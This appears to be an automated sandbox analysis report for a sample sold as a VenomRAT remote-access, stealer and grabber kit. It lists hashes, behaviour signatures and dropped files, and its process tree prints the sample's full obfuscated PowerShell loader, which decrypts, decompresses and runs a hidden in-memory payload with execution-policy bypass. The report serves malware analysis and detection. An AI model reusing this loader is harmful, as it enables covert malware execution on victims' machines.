Analysis
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max time kernel
58s -
max time network
66s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
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submitted
23/03/2024, 00:57
General
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Target
VenomRAT v6.0.3/Venom RAT + HVNC + Stealer + Grabber.exe
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Size
26.1MB
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MD5
a8776c9984c7b6c4f18bf0505ca939b5
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SHA1
e23a41b6f03f11d3b6a64d5645fa102f373bd292
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SHA256
5dbb0f9df5fc34b49f0e284afe9037206c29dd8e50f0adbbcca785dcca89592e
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SHA512
9ebb8d42d1649cb2b3e97bd703d5daa4b1a87f21949c279335f5b0ee834ef185be473e23f82f0562a0f22c1e54675259113c6555976aee5b5def2087b34a8398
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SSDEEP
786432:/h9/AxUNfm9O7HYazcKB9rZsiqS+r+/hGykCCU1:/h9YxUNpTYGRQGhGykCC
Malware Config
Signatures
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AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"2⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
14.2MB
MD53b3a304c6fc7a3a1d9390d7cbff56634
SHA1e8bd5244e6362968f5017680da33f1e90ae63dd7
SHA2567331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58
SHA5127f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5
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Filesize
11.9MB
MD504fd97b8a5d2132eee84f856ee0fa938
SHA10d1d515140d76fcd9a2dc7f08f9d7a7d9f8d691a
SHA256bb33e3c94abeda061b89a1d70d2430b74fcc40a81b09c732878939308a676e49
SHA512e5b4e624343b3e9bec048c894ba681a44d8e71735c03445c361f059dc0aeb53afabeee37bb82ea9ad47187d305ecf28c1b6e46a039a1630da08e2488edb00778
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Filesize
10.8MB
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Filesize
14.2MB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
26.2MB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
136KB
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Filesize
64KB
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Filesize
64KB
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Filesize
272KB
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Filesize
472KB
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Filesize
8.6MB
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Filesize
760KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
10.8MB
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Filesize
2.0MB